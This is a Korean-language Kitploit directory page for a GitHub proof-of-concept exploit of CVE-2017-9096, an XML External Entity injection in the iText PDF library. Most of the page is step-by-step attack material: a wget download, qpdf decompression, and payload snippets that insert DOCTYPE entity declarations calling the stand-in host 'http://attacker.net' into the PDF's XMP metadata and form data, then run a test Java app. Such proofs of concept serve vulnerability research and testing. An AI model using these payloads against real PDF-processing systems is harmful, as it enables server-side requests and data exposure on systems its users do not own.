Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-9096-iText-XXE — CVE-2017-9096에 대한 개념 증명 익스플로잇으로, 악성 XMP 메타데이터 및 양식 필드를 통해 iText PDF 라이브러리의 XML External Entity(XXE) 주입을 시연합니다. | Kitploit
도구/GitHubGitHub/jakabakos/cve-2017-9096-itext-xxe
Vulnerability AnalysisExploitationWeb Application ExploitationFuzzingPenetration Testing
GitHubjakabakos/cve-2017-9096-itext-xxe

CVE-2017-9096-iText-XXE

CVE-2017-9096에 대한 개념 증명 익스플로잇으로, 악성 XMP 메타데이터 및 양식 필드를 통해 iText PDF 라이브러리의 XML External Entity(XXE) 주입을 시연합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
133414년 전아직 검토되지 않음
공유

CVE-2017-9096

1. XXE를 포함한 악성 PDF 생성

양식이 포함된 PDF를 다운로드:

root@kitploit:~
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf

PDF 압축 해제

이를 위해 qpdf --qdf --object-streams=disable input.pdf output.pdf 명령어로 PDF의 압축을 해제한 후, 텍스트 편집기로 PDF를 편집하여 악성 XML을 추가할 수 있습니다.

외부 엔티티 추가

77번째 줄의 XMP 메타데이터에 XXE를 넣을 수 있습니다:

root@kitploit:~
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">

그리고 물론 참조도 어딘가에 추가해야 합니다. 예: 88번째 줄:

root@kitploit:~
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>

또한 파일에 일반적인 XXE를 추가할 수 있습니다. 원본 문서에서 이 부분을 참고하세요 (740번째 줄부터 시작):

root@kitploit:~
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj

다음과 같이 변경합니다:

root@kitploit:~
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj

그런 다음, 참조를 아무 곳에나 추가하면 됩니다. 예를 들어 City 필드에 추가합니다 (원본 압축 해제 문서의 1845번째 줄). 다음을:

root@kitploit:~
<text
>City:</text
></value
>

다음과 같이 변경:

root@kitploit:~
<text
>City:</text
><xxe>&xxe;</xxe></value
>

이 저장소에서 두 XXE가 모두 포함된 패치된 PDF를 찾을 수 있습니다 (output_with_xxe.pdf).

2. 공격 수행

mvn clean compile exec:java 명령어로 Java 앱을 실행하여 PDF를 테스트합니다.

도구 다운로드